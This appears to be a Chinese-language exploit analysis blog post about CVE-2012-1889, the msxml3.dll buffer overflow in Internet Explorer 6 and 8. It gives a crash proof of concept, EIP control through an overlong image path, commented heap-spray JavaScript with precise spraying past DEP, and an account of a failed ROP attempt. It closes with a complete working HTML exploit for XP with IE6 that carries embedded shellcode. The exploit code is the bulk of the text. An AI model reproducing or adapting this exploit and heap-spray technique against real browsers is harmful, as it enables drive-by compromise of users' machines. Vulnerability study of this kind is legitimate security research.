暴雷漏洞 2023-04-05 18:46:04 所属地 辽宁省 作者丨黑蛋 一、漏洞简述 ====== 暴雷漏洞编号为cve-2012-1889,在2012年曝光的一种微软的XML核心组件漏洞,该漏洞属于缓冲区溢出,根据栈溢出可以控制EIP的位置。该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换(XSLT) 和XML 路径语言(XPath) 的完全实现、对XML (SAX2) 实现的简单API 的修改,包括与万维网联合会(W3C) 标准和OASIS 测试套件保持更高一致性。影响版本IE6和IE8。 二、漏洞环境 ====== 系统版本 Win7x86Sp1、XPSp3 三、漏洞分析 ====== ### 3.1、漏洞验证 首先看POC,代码如下: www.vultop.comtitle\> head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object> <script> document.getElementById("HD").object.definition(0); script> body> html> 双击POC,打开Windbg附加第二个IE,g起来,然后发现断在如下地方: ![](https://image.3001.net/images/20230405/1680691564_642d516cbc1276be7f7f7.png) 可以看到这里回溯的话可以发现ecx的值来自于栈中,这里对漏洞原理不再赘述。definition是作为属性使用,但是被当做方法传入参数的时候就触发了这个漏洞。 ### 3.2、栈溢出控制EIP <html\> <head> <title>www.vultop.comtitle\> head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object> <script> var obj = document.getElementById('HD').object; var ImgPath = unescape("\\u0C0C\\u0C0C"); while (ImgPath.length < 0x1000) ImgPath += ImgPath; ImgPath = "\\\\\\\\1234" + ImgPath; ImgPath = ImgPath.substr(0, 0x1000-10); var emtPic = document.createElement("img"); emtPic.src = ImgPath; emtPic.nameProp; obj.definition(0); script> body> html> 这里把路径后面全部拷贝为0C0C0C0C,然后返回当前图片名,就可以载入路径。 ![](https://image.3001.net/images/20230405/1680691565_642d516dda32cc4ab1e56.png) 在没有保护的情况下,通过堆喷射,nop+shellcode就可以成功利用。 ### 3.3、精准喷射 由于DEP的存在,我们需要精准喷射。Windows使用内存分页机制管理内存,内存操作的最小单位为一个内存分页,一个内存分页4kb(0x1000)大小(64位系统中最大的内存分页为1G),则申请的一段堆空间中,这段堆空间首地址一定是0x1000的倍数,如果知道一个内存地址相对于其所在内存分页首地址的偏移,那么就可以构造一个内存分页大小的内存块,并在距离内存块首地址指定偏移的位置设置关键数据,然后以该内存块作为的最小单元进行堆喷,从而保证被内存堆喷射覆盖的指定内存地址处存在关键数据 首先我们选择堆喷射: <html\> <head> <title>www.vultop.comtitle\> head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object> <script> var shellcode = unescape('%u0c0c%u0c0c'+   '%u4141%u4141'+ '%u4141%u4141'+ '%u4141%u4141'+ '%u4141%u4141'+ '%u4141%u4141'+ '%uaaaa%uaaaa'      ); var var\_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (var\_C.length + 20 + 8 < 65536) var\_C+=var\_C;  //0x10000,64kb,减去28个shellcode长度 var\_D = var\_C.substring(0, (0x0c0c-0x24)/2);//0x24字节堆块信息 var\_D += shellcode;  // 拼接shellcode var\_D += var\_C;      // 拼接滑块代码 var\_E = var\_D.substring(0, 65536/2); while(var\_E.length < 0x80000) var\_E += var\_E;//一个块1MB var\_H = var\_E.substring(0, 0x80000); var var\_F = new Array(); for (var\_G=0;var\_G<0x1f0;var\_G++) var\_F\[var\_G\]=var\_H; var obj = document.getElementById('HD').object; var ImgPath = unescape("\\u0C0C\\u0C0C"); while (ImgPath.length < 0x1000) ImgPath += ImgPath; ImgPath = "\\\\\\\\1234" + ImgPath; ImgPath = ImgPath.substr(0, 0x1000-10); var emtPic = document.createElement("img"); emtPic.src = ImgPath; emtPic.nameProp; obj.definition(0); script\> body> html> 这里为了更好的观察,我用了x32dbg,,代码注释都在上面,放图,可以看到已经实现精准喷射,当然喷射有风险,随缘喷,多喷几次: ![](https://image.3001.net/images/20230405/1680691566_642d516ece3e64871f4eb.png) 顺带看看内存分配情况: ![](https://image.3001.net/images/20230405/1680691567_642d516fc735e889bbfee.png) ![](https://image.3001.net/images/20230405/1680691568_642d5170becea61f284f6.png) ### 3.4、构造ROP链(失败) 由于ASLR保护的存在,我们构造ROP链首先找到未开启ASLR保护的模块: ![](https://image.3001.net/images/20230405/1680691570_642d51725724e82296d95.png) resource.dll和sogoupy.iem,用个der,俩个用不了。放弃了,这个漏洞就这么着吧 直接甩xp+IE6可以跑的EXP: ----------------- 直接使用滑板指令+shellcode大面积喷射实现,没有任何保护。 <html\> <head> <title>www.vultop.comtitle\> head> <body> <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object> <script> var mPayload = unescape("\\u0C0C\\u0C0C"); while(mPayload.length < 0x1000) mPayload += mPayload; var mSize=0x40000; var shellcode=unescape("\\u68FC\\u0A6A\\u1E38\\u6368\\uD189\\u684F\\u7432"+ "\\u0C91\\uF48B\\u7E8D\\u33F4\\uB7DB\\u2B04\\u66E3\\u33BB\\u5332\\u7568\\u6573"+ "\\u5472\\uD233\\u8B64\\u305A\\u4B8B\\u8B0C\\u1C49\\u098B\\u698B\\uAD08\\u6A3D"+ "\\u380A\\u751E\\u9505\\u57FF\\u95F8\\u8B60\\u3C45\\u4C8B\\u7805\\uCD03\\u598B\\u0320\\u33DD\\u47FF\\u348B\\u03BB\\u99F5\\uBE0F\\u3A06"+ "\\u74C4\\uC108\\u07CA\\uD003\\uEB46\\u3BF1\\u2454\\u751C\\u8BE4\\u2459\\uDD03\\u8B66\\u7B3C\\u598B\\u031C\\u03DD\\uBB2C\\u5F95\\u57AB"+ "\\u3D61\\u0A6A\\u1E38\\uA975\\uDB33\\u6853\\u6577\\u7473\\u6668\\u6961\\u8B6C\\u53C4\\u5050\\uFF53\\uFC57\\uFF53\\uF857");  mPayload+=shellcode; while(mPayload.length <= mSize) mPayload += mPayload; //mPayload = mPayload.substring(2,mSize-0x21); mPayload = mPayload.substring(0,mSize); //alert(mPayload.length.toString(16)); var mArray= new Array(); for (var i = 0; i < 800; i++) { mArray\[i\] = mPayload.substr(0,mPayload.length); } var obj = document.getElementById('HD').object; var ImgPath = unescape("\\u0C0C\\u0C0C"); while (ImgPath.length < 0x1000) ImgPath += ImgPath; ImgPath = "\\\\\\\\1234" + ImgPath; ImgPath = ImgPath.substr(0, 0x1000-10); var emtPic = document.createElement("img"); emtPic.src = ImgPath; emtPic.nameProp; obj.definition(0); script> body> html> ![](https://image.3001.net/images/20230405/1680691571_642d51733ed0bd1d49cd3.png) \# 漏洞 \# 黑客 \# 网络安全 \# 漏洞分析 \# CTF